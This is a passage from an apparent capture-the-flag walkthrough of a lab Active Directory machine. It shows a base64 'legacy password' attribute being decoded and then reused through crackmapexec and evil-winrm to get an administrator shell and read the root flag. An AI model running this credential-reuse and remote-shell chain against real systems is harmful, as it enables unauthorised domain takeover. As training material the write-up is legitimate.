primaryGroupID                  : 513
ProtectedFromAccidentalDeletion : False
pwdLastSet                      : 132245689883479503
sAMAccountName                  : TempAdmin
sDRightsEffective               : 0
userAccountControl              : 66048
userPrincipalName               : TempAdmin@cascade.local
uSNChanged                      : 237705
uSNCreated                      : 237695
whenChanged                     : 1/27/2020 3:24:34 AM
whenCreated                     : 1/27/2020 3:23:08 AM

Immediately cascadeLegacyPwd : YmFDVDNyMWFOMDBkbGVz jumps out. It decodes to baCT3r1aN00dles:

root@kali# echo YmFDVDNyMWFOMDBkbGVz | base64 -d
baCT3r1aN00dles

WinRM

This password works for the main administrator account:

root@kali# crackmapexec winrm 10.10.10.182 -u administrator -p baCT3r1aN00dles
WINRM       10.10.10.182    5985   CASC-DC1         [*] http://10.10.10.182:5985/wsman
WINRM       10.10.10.182    5985   CASC-DC1         [+] CASCADE\administrator:baCT3r1aN00dles (Pwn3d!)

I can get a WinRM session as administrator:

root@kali# evil-winrm -u administrator -p baCT3r1aN00dles -i 10.10.10.182

Evil-WinRM shell v2.3

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\Administrator\Documents>

And get root.txt:

*Evil-WinRM* PS C:\Users\Administrator\desktop> cat root.txt
5e9c87e9************************